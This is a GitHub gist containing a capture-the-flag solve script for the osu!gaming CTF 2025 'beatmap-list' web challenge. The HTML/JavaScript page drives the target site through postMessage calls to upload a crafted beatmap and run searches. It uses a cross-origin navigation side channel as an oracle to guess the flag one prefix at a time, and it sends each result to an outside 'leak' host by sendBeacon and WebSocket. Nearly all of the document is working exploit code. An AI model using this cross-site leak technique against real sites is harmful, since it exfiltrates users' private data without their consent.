Skip to content

Instantly share code, notes, and snippets.

@strellic
Created October 27, 2025 02:06
Show Gist options
  • Select an option

  • Save strellic/28a48e9c7979e67d82a56563860c15f1 to your computer and use it in GitHub Desktop.

Select an option

Save strellic/28a48e9c7979e67d82a56563860c15f1 to your computer and use it in GitHub Desktop.
osu!gaming CTF 2025 - web/beatmap-list solve
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/jszip@3.10.1/dist/jszip.min.js"></script>
<script>
const TARGET = "https://beatmap-list-web.challs.sekai.team";
const sleep = ms => new Promise(r => setTimeout(r, ms));
const ws = new WebSocket('wss://leak/ws');
const log = (msg) => {
navigator.sendBeacon("//leak/" + msg);
ws.send(msg);
};
const replaceFields = (osu, fields) => {
const lines = osu.split("\n");
for (const [key, value] of Object.entries(fields)) {
const index = lines.findIndex((line) => line.startsWith(key + ":"));
lines[index] = key + ":" + value;
}
return lines.join("\n");
};
const generateExploitOSZ = async (title) => {
const zip = new JSZip();
const oszZip = await zip.loadAsync(window.base);
for (const file of Object.keys(oszZip.files)) {
if (file.endsWith(".osu")) {
const osuFile = oszZip.file(file);
const osu = await osuFile.async("string");
const flagOsu = replaceFields(osu, {
"Title": title
});
zip.file(file, flagOsu);
}
}
return zip.generateAsync({ type: "arraybuffer" });
};
async function oracle(query) {
const osz = await generateExploitOSZ(query);
const w = window.open(TARGET);
await sleep(2000);
w.frames[0].postMessage({ type: "uploadBeatmapSet", osz }, "*");
await sleep(500);
w.frames[0].postMessage({ type: "search", query }, "*");
await sleep(500);
w.location = "about:blank";
w.location = TARGET + "#" + Math.random();
await new Promise(r => setTimeout(r, 200));
let result;
try {
w.location.href;
result = false;
} catch {
result = true;
}
w.close();
await sleep(500);
const w2 = window.open(TARGET);
await sleep(2000);
w2.frames[0].postMessage({ type: "deleteBeatmapSet", beatmapSetId: window.baseId }, "*");
await sleep(500);
w2.close();
return result;
}
(async () => {
/* base.osz should be a osz with a .osu map that has a really long slider and high OD */
window.base = (await fetch("base.osz")).arrayBuffer();
window.baseId = 2352698;
await sleep(500);
log("loaded");
log("osu{oszleak " + await oracle("osu{oszleak"));
log("osu{oszleaf " + await oracle("osu{oszleaf"));
})();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment